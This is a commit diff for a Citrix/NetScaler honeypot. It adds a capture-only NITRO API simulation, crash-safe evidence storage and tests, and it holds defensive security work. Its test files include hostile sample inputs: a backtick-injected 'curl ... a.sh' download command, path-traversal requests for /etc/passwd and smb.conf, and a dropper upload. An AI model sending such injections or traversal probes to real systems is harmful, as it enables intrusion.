Expand capture-only NetScaler NITRO simulation and crash recovery

This commit is contained in:
StasonJatham committed 2026-10-04 06:16:31 +02:00
1 parent 7b99db9e25
commit c65f049223
10 files changed
+2092 -14

No files matched your search

+5 -2
View File
@@ -4,6 +4,8 @@
# --- Decoy listener (honeypot.py) ---
HONEYPOT_BIND=0.0.0.0
HONEYPOT_PORT=8443
# Synthetic NITRO identity only; does not change any installed appliance.
HONEYPOT_VERSION="NetScaler NS14.1: Build 29.63.nc"
# Exact transport IP allowed to speak PROXY v1 (your source-preserving ingress). Empty disables.
HONEYPOT_PROXY_PROTOCOL_FROM=
# Comma-separated CIDRs whose CF-Connecting-IP / X-Forwarded-For may be trusted
@@ -24,8 +26,9 @@ INGRESS_ALLOW_FROM=
VIEWER_BIND=127.0.0.1
VIEWER_PORT=8787
VIEWER_LOG_DIR=/var/lib/decoy/http
# Extra client IPs to hide (the host's public IP is auto-detected). Comma-separated.
# Extra client IPs to hide. Comma-separated. The supplied service disables public-IP discovery.
VIEWER_HIDE_IP=
# --- VM execution backend (optional, isolated guest only) ---
DECOY_VM_CONFIG=/etc/decoy-vm.json
DECOY_VM_CONFIG=
# Strict --simulation-only mode refuses a configured execution backend.
+36 -1
View File
@@ -43,6 +43,40 @@ exploit attempts, not a real appliance and not a vulnerability scanner.
## What it does
### Capture-only deployment
Use `--simulation-only` to refuse execution and URL fetching. The supplied HTTP service uses
this mode and does not depend on an execution guest or relay. The loopback viewer service
disables external public-IP discovery. These services create no backups.
The NITRO simulator supports login/logout cookies, configuration and statistics resource routes,
named reads, fake POST/PUT/DELETE operations, enable/disable/rename acknowledgements, bindings,
`attrs`, literal `filter`/`args`, counts and pagination. Its catalog recognizes 1,493 configuration
names and 176 statistics names from the [official 14.1 reference](https://developer-docs.netscaler.com/en-us/adc-nitro-api/current-release/configuration/). Common appliance, network,
Gateway, AAA, load-balancing, SSL and binding resources have populated synthetic data;
unconfigured resources return empty collections. This is a protocol simulation, not a complete
implementation of every resource's schema or firmware behaviour. Fake changes are bounded,
per-source memory only and expire with sessions; NAT can merge clients. `HONEYPOT_VERSION`
controls the invented firmware banner. Uploaded files never become operating-system files
at submitted paths and are never served publicly.
JSON `systemfile.filecontent` uploads are base64-decoded into inert artifacts while preserving
the original JSON body too. Binary, multipart, chunked and rejected-request evidence is retained
by the existing capture layer. Files are committed with atomic rename and directory fsync;
an interrupted journal tail is preserved separately from subsequent records.
The supplied systemd unit restarts ordinary service crashes after five seconds. Enable VM
autostart separately when deploying on a hypervisor. Storage/capture failure
sets an evidence-directory `STOP` latch and exits78, preventing automatic restart. Review
storage and preserve captured evidence before explicitly clearing that latch. Capture has a
configurable evidence quota, a 16MiB request-body limit and eight concurrent requests. Cloudflare/NPM
may reject or normalize traffic before it reaches the collector; unread/rejected bytes beyond
these boundaries cannot be promised as captured.
Checks: `python3 test_nitro.py`, `python3 test_capture.py`, `python3 test_honeypot.py` and
`python3 test_safety.py`. Optional execution tools described below are incompatible with
`--simulation-only` and are not used by the supplied HTTP service.
- Serves a realistic **NetScaler Gateway / Citrix ADC login** (German AAA page) at `/`,
`/vpn/index.html`, `/vpn/tmindex.html`, `/logon/LogonPoint/*`, `/menu/neo/`, with the
`rdx`/`CTXS` scripts and favicon fingerprint that scanners look for.
@@ -82,7 +116,7 @@ git clone <your-fork-url> citrixpot && cd citrixpot
cp .env.example .env # edit to taste
python3 test_honeypot.py # run the test suite
set -a; . ./.env; set +a
python3 honeypot.py & # decoy on http://127.0.0.1:8443
python3 honeypot.py --simulation-only & # decoy on http://127.0.0.1:8443
python3 viewer.py # analyst UI on http://127.0.0.1:8787
```
@@ -97,6 +131,7 @@ All settings come from the environment (or a `.env` file / systemd `EnvironmentF
| Variable | Purpose |
|---|---|
| `HONEYPOT_BIND`, `HONEYPOT_PORT` | decoy listen address/port |
| `HONEYPOT_VERSION` | synthetic NITRO firmware banner |
| `HONEYPOT_PROXY_PROTOCOL_FROM` | transport IP allowed to send PROXY v1 (your ingress) |
| `HONEYPOT_TRUSTED_FORWARDED_FROM` | edge/proxy hops whose client-IP headers may be trusted |
| `HONEYPOT_LOG_DIR`, `HONEYPOT_EVIDENCE_MIB` | evidence directory and quota |
+3 -2
View File
@@ -3,7 +3,7 @@ Description=Local read-only honeypot evidence viewer (loopback only)
After=network-online.target
[Service]
EnvironmentFile=/etc/decoy.env
ExecStart=/usr/bin/python3 /opt/decoy/viewer.py --bind=${VIEWER_BIND} --port=${VIEWER_PORT} --log-dir=${VIEWER_LOG_DIR}
ExecStart=/usr/bin/python3 /opt/decoy/viewer.py --no-hide-public-ip --bind=${VIEWER_BIND} --port=${VIEWER_PORT} --log-dir=${VIEWER_LOG_DIR}
WorkingDirectory=/opt/decoy
UMask=0077
NoNewPrivileges=true
@@ -14,6 +14,7 @@ ReadOnlyPaths=/var/lib/decoy
RestrictAddressFamilies=AF_INET
MemoryMax=256M
TasksMax=32
Restart=no
Restart=on-failure
RestartSec=5
[Install]
WantedBy=multi-user.target
+7 -4
View File
@@ -1,16 +1,19 @@
[Unit]
Description=NetScaler decoy HTTP and evidence collector
After=network-online.target decoy-network.service
Requires=decoy-network.service
After=network-online.target
StartLimitIntervalSec=300
StartLimitBurst=10
[Service]
EnvironmentFile=/etc/decoy.env
# Simulation only: attacker commands are parsed, stored and answered, never executed.
# Real execution additionally requires --vm-config + --allow-real-execution and an isolated guest;
# never enable it on an internet-facing listener. All values come from /etc/decoy.env.
ExecStart=/usr/bin/python3 /opt/decoy/honeypot.py --bind=${HONEYPOT_BIND} --port=${HONEYPOT_PORT} --proxy-protocol-from=${HONEYPOT_PROXY_PROTOCOL_FROM} --hide-guest-files --trusted-forwarded-from=${HONEYPOT_TRUSTED_FORWARDED_FROM} --fetch-payloads --log-dir=${HONEYPOT_LOG_DIR} --evidence-mib=${HONEYPOT_EVIDENCE_MIB}
ExecStart=/usr/bin/python3 /opt/decoy/honeypot.py --simulation-only --bind=${HONEYPOT_BIND} --port=${HONEYPOT_PORT} --proxy-protocol-from=${HONEYPOT_PROXY_PROTOCOL_FROM} --hide-guest-files --trusted-forwarded-from=${HONEYPOT_TRUSTED_FORWARDED_FROM} --log-dir=${HONEYPOT_LOG_DIR} --evidence-mib=${HONEYPOT_EVIDENCE_MIB}
WorkingDirectory=/opt/decoy
UMask=0077
Restart=no
Restart=on-failure
RestartSec=5
RestartPreventExitStatus=78
NoNewPrivileges=true
PrivateTmp=true
ProtectSystem=strict
+24 -2
View File
@@ -6,6 +6,7 @@ import os
import pathlib
import threading
import time
import tempfile
class EvidenceError(OSError):
@@ -25,6 +26,21 @@ class Evidence:
self.used = sum(p.stat().st_size for p in self.directory.rglob('*') if p.is_file())
self.journal = os.open(self.directory / 'events.jsonl', os.O_WRONLY | os.O_APPEND | os.O_CREAT | os.O_NOFOLLOW, 0o600)
os.fchmod(self.journal, 0o600)
# Preserve a crash-interrupted record without merging the next event into it.
with (self.directory / 'events.jsonl').open('rb') as previous:
previous.seek(0, os.SEEK_END)
if previous.tell():
previous.seek(-1, os.SEEK_END)
if previous.read(1) != b'\n':
self.reserve(1)
os.write(self.journal, b'\n')
os.fsync(self.journal)
self.used += 1
directory = os.open(self.directory, os.O_RDONLY)
try:
os.fsync(directory)
finally:
os.close(directory)
def reserve(self, size):
if self.used + size > self.quota:
@@ -50,14 +66,20 @@ class Evidence:
with self.lock:
if not path.exists():
self.reserve(len(data))
fd = os.open(path, os.O_WRONLY | os.O_CREAT | os.O_EXCL | os.O_NOFOLLOW, 0o600)
fd, temporary = tempfile.mkstemp(prefix='.capture-', dir=self.artifacts)
try:
with os.fdopen(fd, 'wb') as output:
output.write(data)
output.flush()
os.fsync(output.fileno())
os.replace(temporary, path)
directory = os.open(self.artifacts, os.O_RDONLY)
try:
os.fsync(directory)
finally:
os.close(directory)
except BaseException:
path.unlink(missing_ok=True) # do not leave a partial blob with a full-content hash
pathlib.Path(temporary).unlink(missing_ok=True)
raise
self.used += len(data)
return dict(sha256=digest, bytes=len(data), artifact='artifacts/' + path.name)
+49 -2
View File
@@ -1,6 +1,8 @@
#!/usr/bin/env python3
"""Experimental CVE-2026-88771 decoy. Simulation by default; opt-in disposable VM execution."""
import argparse
import base64
import binascii
import collections
import email.parser
import email.policy
@@ -8,6 +10,7 @@ import hashlib
import html
import http.server
import ipaddress
import json
import os
import pathlib
import posixpath
@@ -21,6 +24,7 @@ import time
import urllib.parse
from trusted_proxy import source as proxy_source, forwarded_client
from evidence import Evidence, EvidenceError, RecordingReader
from nitro import respond as nitro_response
from env_file import load, env_int
MAX_BODY = 16 * 1024 * 1024
@@ -305,7 +309,7 @@ class Server(http.server.ThreadingHTTPServer):
# Only a hop (the PROXY-declared source) inside one of these networks may set client headers.
self.trusted_forwarded = [ipaddress.ip_network(value, strict=False) for value in trusted_forwarded]
self.capture_failed = False
self.slots = threading.BoundedSemaphore(32)
self.slots = threading.BoundedSemaphore(8)
self.local = threading.local()
super().__init__(address, Handler)
@@ -367,6 +371,15 @@ class Server(http.server.ThreadingHTTPServer):
if self.capture_failed:
return
self.capture_failed = True
if self.engine.save:
store = getattr(self.engine.save, '__self__', None)
if isinstance(store, Evidence):
try:
marker = store.directory / 'STOP'
marker.write_text('Capture failed; preserve evidence and review storage before clearing.\n')
marker.chmod(0o600)
except OSError:
pass
if self.engine.backend:
try:
self.engine.backend.close(trip=True)
@@ -522,6 +535,19 @@ class Handler(http.server.BaseHTTPRequestHandler):
except ValueError:
self.event('form_parse_error', raw_body_retained=True)
return []
if kind == 'application/json':
try:
document = json.loads(body)
files = document.get('systemfile', []) if isinstance(document, dict) else []
files = [files] if isinstance(files, dict) else files
if isinstance(files, list):
for item in files[:128]:
if isinstance(item, dict) and isinstance(item.get('filecontent'), str):
content = base64.b64decode(item['filecontent'], validate=True)
self.event('upload', filename=item.get('filename'), field='systemfile.filecontent',
content_type='application/octet-stream', content=content)
except (ValueError, RecursionError, binascii.Error):
self.event('json_upload_parse_error', raw_body_retained=True)
if body:
self.event('upload_or_raw_payload', filename=None, content=body)
if self.server.engine.backend:
@@ -568,6 +594,7 @@ class Handler(http.server.BaseHTTPRequestHandler):
auth_fields.intersection({'passwd', 'password', 'pwd', 'passcode'})):
engine.auth_attempt(state, self.context, url.path)
vm_read_path = None
extra_headers = []
with engine.lock:
candidates = [('uri', urllib.parse.unquote(self.path))]
candidates += [('header:' + key, value) for key, value in self.headers.items()]
@@ -582,6 +609,9 @@ class Handler(http.server.BaseHTTPRequestHandler):
'<StateContext>' + html.escape(state.sid) + '</StateContext>'
'</AuthenticateResponse>').encode()
mime = 'application/vnd.citrix.authenticateresponse-1+xml; charset=utf-8'
elif url.path.startswith('/nitro/'):
code, result, extra_headers = nitro_response(state, self.command, url, body, self.headers)
data, mime = json.dumps(result).encode(), 'application/json'
elif url.path not in LOGIN_PATHS:
key = posixpath.normpath(WEBROOT + '/' + urllib.parse.unquote(url.path).lstrip('/'))
if not self.server.serve_guest_files:
@@ -611,6 +641,7 @@ class Handler(http.server.BaseHTTPRequestHandler):
"img-src 'self' data:; font-src 'self'; frame-ancestors 'self'; "
"connect-src 'self' citrixng:// com.citrix.nsgclient:// nsgcepa://; "
"report-uri /nscsp_violation/report_uri")]
headers.extend(extra_headers)
self.event('response', status=code, headers=headers, content=data,
body_suppressed=self.command == 'HEAD')
self.send_response(code)
@@ -642,6 +673,7 @@ def parse_trusted(spec):
def main():
load()
parser = argparse.ArgumentParser(description=__doc__)
parser.add_argument('--simulation-only', action='store_true', help='refuse real execution and URL fetching')
parser.add_argument('--hide-guest-files', action='store_true', help='serve only fixed NetScaler UI/auth routes over HTTP')
parser.add_argument('--vm-config', default=os.environ.get('DECOY_VM_CONFIG') or None,
help='opt-in dedicated disposable guest SSH configuration')
@@ -663,6 +695,8 @@ def main():
parser.add_argument('--evidence-mib', type=int, default=env_int('HONEYPOT_EVIDENCE_MIB', 1024),
help='total evidence quota; stop rather than overwrite at this limit')
args = parser.parse_args()
if args.simulation_only and (args.vm_config or args.allow_real_execution or args.fetch_payloads):
parser.error('--simulation-only cannot use execution or payload fetching')
if bool(args.cert) != bool(args.key) or not 0 <= args.delay <= 86400 or args.evidence_mib < 1:
parser.error('provide both cert/key; delay must be 0..86400; evidence-mib must be positive')
if args.vm_config and not args.allow_real_execution:
@@ -671,7 +705,14 @@ def main():
parser.error('--allow-real-execution requires --vm-config')
os.umask(0o077)
directory = pathlib.Path(args.log_dir)
if (directory / 'STOP').exists():
print('Capture STOP latch exists; review storage before clearing.', file=sys.stderr)
raise SystemExit(78)
try:
evidence = Evidence(directory, args.evidence_mib * 1024 * 1024)
except OSError as error:
print(f'Evidence storage unavailable: {error}', file=sys.stderr)
raise SystemExit(78)
context = None
if args.cert:
context = ssl.SSLContext(ssl.PROTOCOL_TLS_SERVER)
@@ -699,10 +740,16 @@ def main():
server.stop_capture(error)
break
threading.Thread(target=worker, daemon=True).start()
try:
engine.emit('start', mode='disposable_vm' if engine.backend else 'simulation', bind=args.bind, port=server.server_port,
delay=args.delay, evidence_quota_bytes=evidence.quota, max_body_bytes=MAX_BODY,
serve_guest_files=server.serve_guest_files, real_execution=bool(engine.backend),
payload_fetch=bool(engine.fetcher))
except EvidenceError as error:
server.stop_capture(error)
server.server_close()
evidence.close()
raise SystemExit(78)
if engine.backend:
print('WARNING: real execution enabled; attacker commands run only in the isolated disposable guest',
file=sys.stderr, flush=True)
@@ -721,7 +768,7 @@ def main():
server.server_close()
evidence.close()
if server.capture_failed:
raise SystemExit(1)
raise SystemExit(78)
if __name__ == '__main__':
+1675
View File
File diff suppressed because it is too large. Load diff
+174
View File
@@ -0,0 +1,174 @@
"""Inert NITRO responses. All mutations affect bounded per-source dictionaries only."""
import copy
import datetime
import json
import os
import pathlib
import secrets
import urllib.parse
from http.cookies import SimpleCookie, CookieError
RESOURCES = json.loads(pathlib.Path(__file__).with_name('nitro-resources.json').read_text())
CONFIG = {
'nsversion': [dict(version=os.environ.get('HONEYPOT_VERSION', 'NetScaler NS14.1: Build 29.63.nc'), mode=0)],
'nshardware': [dict(hwdescription='NetScaler Virtual Appliance', serialno='VMPE00000001')],
'nshostname': [dict(hostname='adc-gateway')],
'nsconfig': [dict(ipaddress='198.51.100.10', netmask='255.255.255.0', changed=False, configchanged=False)],
'nsip': [dict(ipaddress='198.51.100.10', netmask='255.255.255.0', type='NSIP', state='ENABLED', gui='SECUREONLY'),
dict(ipaddress='198.51.100.11', netmask='255.255.255.0', type='SNIP', state='ENABLED')],
'nsfeature': [dict(lb=True, cs=True, ssl=True, sslvpn=True, aaa=True, rewrite=True, responder=True)],
'nsmode': [dict(fr=True, l3=True, usnip=True, pmtud=True)],
'nslicense': [dict(licensetype='Premium', modelid='1000', ssl=True, sslvpn=True)],
'nsparam': [dict(timezone='GMT', cookieversion='0', maxconn=0)],
'hanode': [dict(id=0, ipaddress='198.51.100.10', state='UP', hastatus='YES', masterstate='Primary')],
'interface': [dict(id='1/1', state='ENABLED', curstate='UP', mtu=1500, mac='00:50:56:01:02:03')],
'vlan': [dict(id=1, aliasname='DEFAULT')],
'route': [dict(network='0.0.0.0', netmask='0.0.0.0', gateway='198.51.100.1', distance=1)],
'dnsnameserver': [dict(ip='198.51.100.53', state='ENABLED')],
'server': [dict(name='app01', ipaddress='198.51.100.20', state='ENABLED')],
'service': [dict(name='svc_app_https', servername='app01', ip='198.51.100.20', port=443,
servicetype='SSL', state='ENABLED', curstate='UP')],
'servicegroup': [dict(servicegroupname='sg_apps', servicetype='SSL', state='ENABLED')],
'lbvserver': [dict(name='lb_apps', ipv46='198.51.100.12', port=443, servicetype='SSL',
lbmethod='LEASTCONNECTION', state='ENABLED', curstate='UP')],
'csvserver': [dict(name='cs_apps', ipv46='198.51.100.12', port=443, servicetype='SSL', state='ENABLED')],
'vpnvserver': [dict(name='vpn_gateway', ipv46='198.51.100.10', port=443, servicetype='SSL',
state='ENABLED', curstate='UP', authentication='ON')],
'vpnsessionaction': [dict(name='vpn_default', defaultauthorizationaction='ALLOW', clientlessvpnmode='OFF')],
'vpnsessionpolicy': [dict(name='vpn_default_policy', rule='true', action='vpn_default')],
'vpnportaltheme': [dict(name='RfWebUI', basetheme='RfWebUI')],
'authenticationvserver': [dict(name='aaa_gateway', servicetype='SSL', authenticationdomain='corp.invalid', state='ENABLED')],
'authenticationldapaction': [dict(name='ldap_corp', serverip='198.51.100.30', serverport=636,
ldapbase='dc=corp,dc=invalid', sectype='SSL')],
'authenticationldappolicy': [dict(name='ldap_policy', rule='ns_true', reqaction='ldap_corp')],
'systemuser': [dict(username='nsroot', timeout=900)],
'systemgroup': [dict(groupname='administrators', timeout=900)],
'sslcertkey': [dict(certkey='gateway_cert', cert='/nsconfig/ssl/gateway.crt', key='/nsconfig/ssl/gateway.key', status='Valid')],
'sslvserver': [dict(vservername='vpn_gateway', ssl3='DISABLED', tls1='DISABLED', tls12='ENABLED', tls13='ENABLED')],
'lbvserver_service_binding': [dict(name='lb_apps', servicename='svc_app_https', weight=1)],
'vpnvserver_vpnsessionpolicy_binding': [dict(name='vpn_gateway', policy='vpn_default_policy', priority=100)],
'vpnvserver_sslcertkey_binding': [dict(name='vpn_gateway', certkeyname='gateway_cert')],
'servicegroup_servicegroupmember_binding': [dict(servicegroupname='sg_apps', ip='198.51.100.20', port=443, weight=1)],
'systemuser_systemgroup_binding': [dict(username='nsroot', groupname='administrators')],
'auditnslogparams': [dict(serverip='198.51.100.40', serverport=3020, loglevel=['ERROR', 'WARNING'])],
'snmpmib': [dict(contact='Network Operations', location='Datacenter', name='adc-gateway')],
'ntpserver': [dict(serverip='198.51.100.123', preferred='YES')],
'systemfile': [],
'nsrunningconfig': [dict(response='set ns hostName adc-gateway\nadd server app01 198.51.100.20\n')],
'nssavedconfig': [dict(response='set ns hostName adc-gateway\nadd server app01 198.51.100.20\n')],
}
KEYS = ('name', 'servicegroupname', 'username', 'groupname', 'certkey', 'vservername', 'ipaddress', 'ip', 'id', 'filename')
def reply(status=200, errorcode=0, message='Done', **data):
return status, dict(errorcode=errorcode, message=message, severity='ERROR' if errorcode else 'NONE', **data), []
def identity(row):
return next((str(row[k]) for k in KEYS if k in row), '')
def respond(state, method, url, body, headers):
parts = url.path.strip('/').split('/', 4)
if len(parts) < 4 or parts[:2] != ['nitro', 'v1'] or parts[2] not in RESOURCES:
return reply(404, 258, 'Invalid resource type')
kind, resource = parts[2:4]
name = urllib.parse.unquote(parts[4]) if len(parts) > 4 else ''
try:query = dict(urllib.parse.parse_qsl(url.query, max_num_fields=128))
except ValueError:return reply(400, 258, 'Invalid argument')
if not hasattr(state, 'nitro'):
state.nitro = dict(token=None, data={})
fake = state.nitro
payload = {}
if method in ('POST', 'PUT', 'PATCH') and body:
try:
# Large systemfile bodies are captured separately; never retain their bytes in fake config.
payload = json.loads(body) if len(body) <= 65536 else ({'systemfile': {}} if resource == 'systemfile' else None)
if not isinstance(payload, dict):raise ValueError()
except (ValueError, RecursionError):
return reply(400, 258, 'Invalid argument')
if resource == 'login' and kind == 'config' and method == 'POST':
login = payload.get('login', {})
if not isinstance(login, dict) or not login.get('username') or not login.get('password'):
return reply(400, 258, 'Invalid argument')
fake['token'] = '##' + secrets.token_hex(16).upper()
status, result, extra = reply(201, sessionid=fake['token'], login=[dict(sessionid=fake['token'])])
extra.append(('Set-Cookie', 'NITRO_AUTH_TOKEN='+fake['token']+'; Path=/nitro/v1; Secure; HttpOnly'))
return status, result, extra
cookie = SimpleCookie()
try:cookie.load(headers.get('Cookie', ''))
except CookieError:pass
token = cookie.get('NITRO_AUTH_TOKEN')
auth = bool(token and fake['token'] and token.value == fake['token'])
# These credentials authenticate only this invented appliance, never an external system.
auth |= bool(headers.get('X-NITRO-USER') and headers.get('X-NITRO-PASS'))
auth |= headers.get('Authorization', '').startswith('Basic ')
if not auth:return reply(401, 444, 'Authentication required')
if resource == 'logout' and method == 'POST':
fake['token'] = None
status, result, extra = reply(201)
extra.append(('Set-Cookie', 'NITRO_AUTH_TOKEN=; Path=/nitro/v1; Max-Age=0'))
return status, result, extra
if resource not in RESOURCES[kind] and resource not in CONFIG:
return reply(404, 258, 'Invalid resource type')
rows = copy.deepcopy(fake['data'].get(resource, CONFIG.get(resource, [])))
if resource.endswith('_binding') and not rows:
root = resource[:-8]
for item in CONFIG.get(root, []):
bindings = {key:copy.deepcopy(value) for key,value in CONFIG.items()
if key.startswith(root+'_') and key.endswith('_binding')}
if bindings:rows.append(dict(name=identity(item), **bindings))
if kind == 'stat':
if not rows:rows = [dict(name=name)] if name else [{}]
for row in rows:
row.update(totalrequests='0', requestsrate=0, establishedconn='0', throughput='0', throughputrate=0)
if resource == 'system':row.update(cpuusage=2, memusagepcnt=18, disk0perusage=9)
if resource == 'ns':row.update(totrxmbits='0', tottxmbits='0', tcpcurclientconn='0')
if resource == 'nstime':rows = [dict(time=datetime.datetime.now(datetime.timezone.utc).strftime('%a %b %d %H:%M:%S %Y'))]
if method in ('GET', 'HEAD'):
if name:rows = [row for row in rows if identity(row) == name]
for key in ('filter', 'args'):
# ponytail: literal filters; add bounded regex matching if a client needs it.
for condition in query.get(key, '').split(','):
if ':' in condition:
field, value = condition.split(':', 1)
rows = [row for row in rows if str(row.get(field, '')) == value]
if query.get('count') == 'yes':rows = [dict(__count=len(rows))]
else:
try:
size = min(1000, max(1, int(query.get('pagesize', 1000))))
page = max(1, int(query.get('pageno', 1)))
except ValueError:return reply(400, 258, 'Invalid argument')
rows = rows[(page-1)*size:page*size]
if query.get('attrs'):
attrs = set(query['attrs'].split(','));rows = [{k:v for k,v in row.items() if k in attrs} for row in rows]
return reply(**{resource: rows})
if method == 'OPTIONS':return 200, {}, [('Allow', 'GET, HEAD, POST, PUT, DELETE, OPTIONS')]
if kind == 'stat':return reply(405, 258, 'Method not allowed')
if method == 'DELETE':
if not name:return reply(400, 258, 'Invalid argument')
rows = [row for row in rows if identity(row) != name]
elif method in ('POST', 'PUT'):
incoming = payload.get(resource)
if not isinstance(incoming, (dict, list)):return reply(400, 258, 'Invalid argument')
incoming = incoming if isinstance(incoming, list) else [incoming]
if len(incoming) > 128 or any(not isinstance(row, dict) for row in incoming):return reply(400, 258, 'Invalid argument')
action = query.get('action')
if action and action not in ('enable', 'disable', 'rename'):
# Administrative actions are acknowledgements, never operations on this host.
return reply()
for row in incoming:
row = {k:v for k,v in row.items() if k not in ('password', 'filecontent')}
old = next((item for item in rows if identity(item) == identity(row)), None)
if action in ('enable', 'disable'):
row['state'] = 'ENABLED' if action == 'enable' else 'DISABLED'
if action == 'rename' and 'newname' in row:row['name'] = row.pop('newname')
if old is None:rows.append(row)
else:old.update(row)
else:return reply(405, 258, 'Method not allowed')
updated = dict(fake['data'], **{resource:rows})
try:
if len(json.dumps(updated)) > 65536:return reply(503, 258, 'Resource limit reached')
except (ValueError, RecursionError):return reply(400, 258, 'Invalid argument')
fake['data'] = updated
return reply(201 if method == 'POST' and not query.get('action') else 200)
+47 -1
View File
@@ -5,6 +5,9 @@ import json
import pathlib
import tempfile
import threading
import subprocess
import sys
from unittest.mock import patch
from honeypot import Engine, Server, extract
from evidence import Evidence
@@ -33,6 +36,12 @@ def main():
return result
try:
status, response = request('POST', '/nitro/v1/config/login', b'{"login":{"username":"capture-check","password":"inert"}}',
{'Content-Type': 'application/json'})
assert status == 201 and json.loads(response)['login'][0]['sessionid']
auth = {'Cookie': 'NITRO_AUTH_TOKEN=' + json.loads(response)['sessionid']}
assert json.loads(request('GET', '/nitro/v1/stat/system', headers=auth)[1])['system'][0]['cpuusage'] == 2
assert engine.backend is None and engine.fetcher is None
request('GET', '/vpn/../vpns/cfg/smb.conf')
assert any(e['event'] == 'exploit_attempt' and 'CVE-2019-19781' in e['signatures'] for e in rows)
request('GET', '/../../etc/passwd')
@@ -44,7 +53,7 @@ def main():
request('PUT', '/dropper.bin', payload, {'Content-Type': 'application/octet-stream'})
digest = hashlib.sha256(payload).hexdigest()
assert (pathlib.Path(workspace.name) / 'artifacts' / (digest + '.bin')).read_bytes() == payload
upload = next(e for e in rows if e['event'] == 'upload_or_raw_payload')
upload = next(e for e in rows if e['event'] == 'upload_or_raw_payload' and e['evidence']['sha256'] == digest)
assert upload['evidence'] == {'sha256': digest, 'bytes': len(payload), 'artifact': 'artifacts/' + digest + '.bin'}
assert extract('pitboss PPE unexpectedly died NSPPE;:`curl http://198.51.100.9/a.sh -o /tmp/a`;# X') \
@@ -62,6 +71,43 @@ def main():
kinds = {e['event'] for e in journal}
assert {'exploit_attempt', 'upload_or_raw_payload', 'request_body', 'injection_candidate',
'simulated_command', 'virtual_file_write'} <= kinds
# Interrupted writes never publish a partial file under a full-content hash.
with patch('evidence.os.fsync', side_effect=OSError('simulated disk failure')):
try:
evidence.save(b'interrupted-file')
raise AssertionError('storage failure was ignored')
except OSError:
pass
assert not (evidence.artifacts / (hashlib.sha256(b'interrupted-file').hexdigest() + '.bin')).exists()
assert not list(evidence.artifacts.glob('.capture-*'))
interrupted = pathlib.Path(workspace.name) / 'interrupted-journal'
interrupted.mkdir()
(interrupted / 'events.jsonl').write_bytes(b'{"interrupted":')
repaired = Evidence(interrupted)
try:
repaired.emit('after_restart')
lines = (interrupted / 'events.jsonl').read_bytes().splitlines()
assert lines[0] == b'{"interrupted":'
assert json.loads(lines[1])['event'] == 'after_restart'
finally:
repaired.close()
# A capture failure survives process restart and cannot be bypassed by systemd.
server.stop_capture(OSError('simulated quota exhaustion'))
assert (evidence.directory / 'STOP').exists()
result = subprocess.run([sys.executable, str(pathlib.Path(__file__).parent / 'honeypot.py'),
'--log-dir', workspace.name, '--port', '0'], capture_output=True, timeout=5)
assert result.returncode == 78 and b'STOP latch' in result.stderr
full = pathlib.Path(workspace.name) / 'full-at-start'
store = Evidence(full, quota=1024*1024)
store.save(b'x'*(1024*1024))
store.close()
result = subprocess.run([sys.executable, str(pathlib.Path(__file__).parent / 'honeypot.py'),
'--simulation-only', '--log-dir', str(full), '--evidence-mib', '1', '--port', '0'],
capture_output=True, timeout=5)
assert result.returncode == 78 and (full / 'STOP').exists()
result = subprocess.run([sys.executable, str(pathlib.Path(__file__).parent / 'honeypot.py'),
'--simulation-only', '--fetch-payloads'], capture_output=True, timeout=5)
assert result.returncode == 2
finally:
server.shutdown()
server.server_close()
+72
View File
@@ -0,0 +1,72 @@
"""Run: python3 test_nitro.py. Inert API behaviour and exact upload capture."""
import base64
import hashlib
import http.client
import json
import pathlib
import tempfile
import threading
import urllib.parse
from types import SimpleNamespace
from evidence import Evidence
from honeypot import Engine, Server
from nitro import CONFIG, RESOURCES, respond
def main():
state = SimpleNamespace()
auth = {}
def api(method, path, data=None, headers=None, source=state):
return respond(source, method, urllib.parse.urlsplit('/nitro/v1/'+path),
json.dumps(data).encode() if data is not None else b'', headers if headers is not None else auth)
assert api('GET', 'config/nsversion')[0] == 401
assert api('POST', 'config/login', {'login': {}})[0] == 400
status, login, extra = api('POST', 'config/login', {'login': {'username':'probe','password':'inert'}})
assert status == 201 and extra[0][0] == 'Set-Cookie'
auth = {'Cookie': 'NITRO_AUTH_TOKEN='+login['sessionid']}
assert api('GET', 'config/nsversion')[1]['nsversion'][0]['version'].startswith('NetScaler NS')
assert len(RESOURCES['config']) > 1400 and len(RESOURCES['stat']) > 150
for kind in RESOURCES:
for resource in RESOURCES[kind]:assert api('GET',kind+'/'+resource)[0] == 200, resource
for resource in CONFIG:assert resource in api('GET', 'config/'+resource)[1]
assert api('POST', 'config/lbvserver', {'lbvserver': {'name':'new','port':80}})[0] == 201
assert api('GET', 'config/lbvserver/new')[1]['lbvserver'][0]['port'] == 80
assert api('PUT', 'config/lbvserver', {'lbvserver': {'name':'new','port':8080}})[0] == 200
assert api('GET', 'config/lbvserver/new')[1]['lbvserver'][0]['port'] == 8080
assert api('POST', 'config/lbvserver?action=disable', {'lbvserver': {'name':'new'}})[0] == 200
assert api('GET', 'config/lbvserver/new')[1]['lbvserver'][0]['state'] == 'DISABLED'
assert api('GET', 'config/lbvserver?filter=name:new&attrs=name')[1]['lbvserver'] == [{'name':'new'}]
assert api('GET', 'config/lbvserver?count=yes')[1]['lbvserver'] == [{'__count':2}]
assert api('GET', 'config/lbvserver_binding/lb_apps')[1]['lbvserver_binding'][0]['lbvserver_service_binding'][0]['servicename'] == 'svc_app_https'
assert api('GET', 'config/lbvserver?pagesize=1&pageno=2')[1]['lbvserver'][0]['name'] == 'new'
assert api('GET', 'config/lbvserver?pagesize=bad')[0] == 400
assert api('GET', 'config/nsip?'+ '&'.join('x=1' for _ in range(129)))[0] == 400
assert api('GET', 'config/not_a_resource')[0] == 404
assert api('DELETE', 'config/lbvserver/new')[0] == 200
assert api('GET', 'config/lbvserver/new')[1]['lbvserver'] == []
assert api('GET', 'config/lbvserver', source=SimpleNamespace(), headers={'X-NITRO-USER':'probe','X-NITRO-PASS':'inert'})[1]['lbvserver'] == CONFIG['lbvserver']
assert api('POST', 'config/lbvserver', {'lbvserver':{'name':'huge','blob':'x'*65520}})[0] in (400,503)
assert api('POST', 'config/logout', {'logout':{}})[0] == 201
assert api('GET', 'config/nsversion')[0] == 401
with tempfile.TemporaryDirectory() as directory:
evidence = Evidence(directory)
server = Server(('127.0.0.1',0), Engine(evidence.emit,save=evidence.save), serve_guest_files=False)
thread=threading.Thread(target=server.serve_forever,daemon=True);thread.start()
payload=b'\0inert-nitro-file\xff\n'
body=json.dumps({'systemfile':{'filename':'../../inert.bin','filelocation':'/tmp','filecontent':base64.b64encode(payload).decode()}}).encode()
try:
connection=http.client.HTTPConnection('127.0.0.1',server.server_port,timeout=3)
